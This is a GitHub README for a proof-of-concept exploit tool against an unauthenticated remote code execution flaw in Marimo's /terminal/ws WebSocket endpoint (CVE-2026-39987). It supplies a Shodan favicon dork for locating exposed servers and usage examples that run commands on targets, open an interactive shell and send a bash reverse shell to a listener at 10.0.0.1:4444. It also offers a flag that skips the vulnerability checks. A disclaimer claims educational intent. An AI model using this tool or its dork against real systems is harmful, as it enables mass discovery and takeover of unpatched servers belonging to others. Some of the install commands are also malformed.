CVE-2026-39987 - Marimo < 0.23.0 Pre-Auth RCE (WebSocket)

Proof of Concept (PoC) exploit for a Critical Pre-Authentication Remote Code Execution (RCE) vulnerability in Marimo versions prior to 0.23.0.

The vulnerability allows an unauthenticated attacker to connect to the WebSocket endpoint (/terminal/ws) and execute arbitrary system commands on the target server.

Features

• Automated Verification: Automatically checks the target for the vulnerability by identifying the version and verifying the presence of the Marimo application (via favicon and /api/version endpoints).
• Single Command Execution: Send a single command to the target and receive the output.
• Interactive Shell: Spawn a pseudo-interactive persistent shell to interact with the target seamlessly.
• Reverse Shell Generation: Built-in support to generate and execute reverse shell payloads.
• Verification Bypass: Ability to bypass version and presence checks with the --no-check flag for environments where endpoints might be obscured.

Shodan / FOFA Dork

You can use the following dork to identify potentially vulnerable instances:

http.favicon.hash:-1864630356

Installation

It is recommended to use a Python virtual environment to install the dependencies.

# 1. Clone the repository
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC

# 2. Create and activate a virtual environment
python -m venv .CVE-2026-39987

# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate

# 3. Upgrade pip and Install required dependencies
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt

Usage

usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]

positional arguments:
  target               Target URL (e.g. http://localhost:8080)
  command              Command to execute (omit when using -i)

options:
  -h, --help           show this help message and exit
  --no-check           Skip vulnerability version check

Execution modes:
  -i, --interactive    Interactive shell mode
  --revshell IP PORT   Generate & send a bash reverse shell payload

WebSocket tuning:
  --ping-interval SEC  WebSocket ping interval in seconds (default: 30, more frequent for stability)
  --ping-timeout SEC   WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
  --no-ping            Disable WebSocket ping/pong entirely (recommended if still disconnect)

Reconnect options:
  --max-retries N      Max auto-reconnect attempts (default: 5)
  --no-reconnect       Disable auto-reconnect on unexpected disconnect

Examples

1. Run a single command:

python CVE-2026-39987.py http://target.com:8080 "id"

2. Spawn an interactive shell:

python CVE-2026-39987.py http://target.com:8080 -i

3. Execute a reverse shell: Ensure you have a netcat listener running on your machine (e.g., nc -lvnp 4444).

python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444

4. Skip verification checks and force execution:

python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check

Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

1. Fork the repository
2. Create your feature branch (git checkout -b feature/update-feature)
3. Commit your changes (git commit -m 'Add update feature')
4. Push to the branch (git push origin feature/update-feature)
5. Open a Pull Request

Disclaimer

This tool is strictly for educational purposes and authorized ethical hacking. The author is not responsible for any misuse, damage, or illegal activities caused by this script. Always ensure you have explicit permission from the system owner before performing any security testing. Unauthorized use of this script is illegal and punishable by law.

License

This project is licensed under the MIT License - see the LICENSE file for details.